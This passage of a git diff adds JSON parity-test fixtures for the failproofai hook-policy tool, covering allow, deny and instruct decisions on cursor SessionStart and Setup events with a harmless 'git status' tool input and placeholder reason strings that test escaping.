+ "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked session start by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-present__one-policy.json new file mode 100644 index 00000000..0856f861 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-present__two-policies.json new file mode 100644 index 00000000..7d1ed310 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..5cb338e5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..c70eab2a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..6575a327 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..dfca762d --- /dev/null +++ b/__tests__/parity/fixtures/cursor/SessionStart/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "instruct", + "event": "SessionStart", + "input": { + "event_type": "SessionStart", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "SessionStart", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "SessionStart", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..2ef8d6ba --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..ff2fe7e1 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..3bbb5e54 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..95312af8 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-silent", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..575d8466 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..111d16ea --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..be9c789c --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..22fcb3a2 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "allow-with-reason", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"permission\":\"allow\",\"additional_context\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..c1774f94 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..69f837c9 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked operation by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/cursor/Setup/deny__tool-present__one-policy.json new file mode 100644 index 00000000..7cc5330a --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "cursor", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\",\"agent_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend, as per the policy configured by the user\"}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/cursor/Setup/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/cursor/Setup/deny__tool-present__two-policies.json new file mode 100644 index 00000000..481c2be5 --- /dev/null +++ b/__tests__/parity/fixtures/cursor/Setup/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "cursor", + "decision_kind": "deny", + "event": "Setup", + "input": { + "event_type": "Setup", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "Setup", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "cursor", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "Setup", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"permission\":\"deny\",\"user_message\":\"Blocked Bash by failproofai because: parity reason 1: \\\"q\\\" \\\\ /s/ 